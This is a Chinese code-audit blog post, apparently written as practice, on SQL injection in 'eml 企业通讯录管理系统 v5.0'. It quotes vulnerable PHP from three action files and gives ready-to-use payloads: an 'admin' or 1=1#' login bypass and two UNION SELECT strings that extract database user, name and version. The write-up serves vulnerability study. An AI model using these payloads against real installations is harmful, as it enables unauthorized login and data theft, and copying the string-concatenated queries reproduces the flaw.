eml 企业通讯录管理系统 v5.0 SQL 注入

0x00前言

开始从小的漏洞开始练习,搬运项目地址:

https://github.com/imsebao/Code-Audit

0x01

EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统。

eml 企业通讯录管理系统 v5.0 登录页面 username 参数 过滤不严导致 sql 注 入。

WWW/action/action.user.php 文件 第 23 行

//验证登录
if($do=="loginok"){
 $name=$_POST[username];
 $pwd=md5($_POST[password]);
 $validate_arr=array($name,$pwd);
 Ifvalidate($validate_arr);
 $sql = "SELECT * from eml_users WHERE username = '$name' AND
password = '$pwd' limit 1 ";
 $db->query($sql);
 if ($record = $db->fetchRow()){ //登录成功
 $_SESSION['isLogin'] = true;
 $_SESSION['userid'] = $record['id'];
 $_SESSION['uid'] = $record['uid'];
 $_SESSION['username'] = $record['username'];
 $_SESSION['roleid'] = $record['roleid'];
 exit($lang_cn['rabc_login_ok']);
 }
 else
 exit($lang_cn['rabc_login_error']);
 exit;
}

username 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞

**漏洞复现: **
用户名输入 :admin' or 1=1# 造成万能密码登录。

还有一个页面同样存在sql注入

eml 企业通讯录管理系统 v5.0 通讯 录页面 kewords 参数 过滤不严导致 sql 注入。

WWW/action/action.address.php 文件 第 11 行

//列表
if($do==""){
 If_rabc($action,$do); //检测权限
 if($_POST['kewords']){$search .= " and name like
'%".strip_tags($_POST[kewords])."%'";}
 if($_POST['time_start']!="" && $_POST['time_over']!=""){
 $search .= " and `created_at` >
'".strtotime($_POST[time_start]." 00:00:00")."' AND `created_at` <
'".strtotime($_POST[time_over] ." 23:59:59")."'";
 }
 //设置分页

if($_POST[numPerPage]==""){$numPerPage="10";}else{$numPerPage=$_POST[
numPerPage];}

if($_GET[pageNum]==""||$_GET[pageNum]=="0" ){$pageNum="0";}else{$page
Num=($_GET[pageNum]-1)*$numPerPage;}
 $num=mysql_query("SELECT * FROM eml_users where 1=1 $search");//
当前频道条数
 $total=mysql_num_rows($num);//总条数
 $page=new page(array('total'=>$total,'perpage'=>$numPerPage));
 //查询
 $sql="SELECT * FROM eml_users where 1=1 $search order by id desc
LIMIT $pageNum,$numPerPage";
 //echo $sql;
 $db->query($sql);
 $list=$db->fetchAll();
 //模版
 $smt = new smarty();smarty_cfg($smt);
 $smt->assign('list',$list);
 $smt->assign('numPerPage',$_POST[numPerPage]); //显示条数
 $smt->assign('pageNum',$_GET[pageNum]); //当前页数
 $smt->assign('total',$total); //总条数
 $smt->assign ('page',$page->show());
 $smt->assign('title',"通讯录列表");
 $smt->display('adress_list.html');
 exit;
}

kewords 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞

漏洞复现:
payload:-1' union select 1,2,3,4,user(),6,7,8,database(),version(),1,2,3,4,5,6#

再来看一个SQL注入:

eml 企业通讯录管理系统 v5.0 我的 应用页面 kewords 参数 过滤不严导致 sql 注入。

WWW/action/action.link.php 文件 第 12 行

//列表
if($do=="myLink"){
 If_rabc($action,$do); //检测权限
 if($_POST['kewords']){$search .= " and link_name like
'%".strip_tags($_POST[kewords])."%'";}
 if($_POST['time_start']!="" && $_POST['time_over']!=""){
 $search .= " and `created_at` >
'".strtotime($_POST[time_start]." 00:00:00")."' AND `created_at` <
'".strtotime($_POST[time_over] ." 23:59:59")."'";
 }
 $user_id=$_SESSION['uid'];
 //查询
 $sql="SELECT * FROM `eml_link` where user_id='$uid' $search order
by id desc";
 //echo $sql;
 $db->query($sql);
 $list=$db->fetchAll();
 //模版
 $smt = new smarty();smarty_cfg($smt);
 $smt->assign('list',$list);
 $smt->assign('title',"应用列表");
 $smt->display('link_list.html');
 exit;
}

kewords 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞

漏洞复现:

payload:3' union select user(),2,3,version(),database(),6,7#

emmmm目前看的都是最简单的例子,不太好玩,没有过滤,比我前几天审计的远古cms都简单。后续如果有有趣的会多些点的--

原文地址:https://www.cnblogs.com/wangtanzhi/p/12392170.html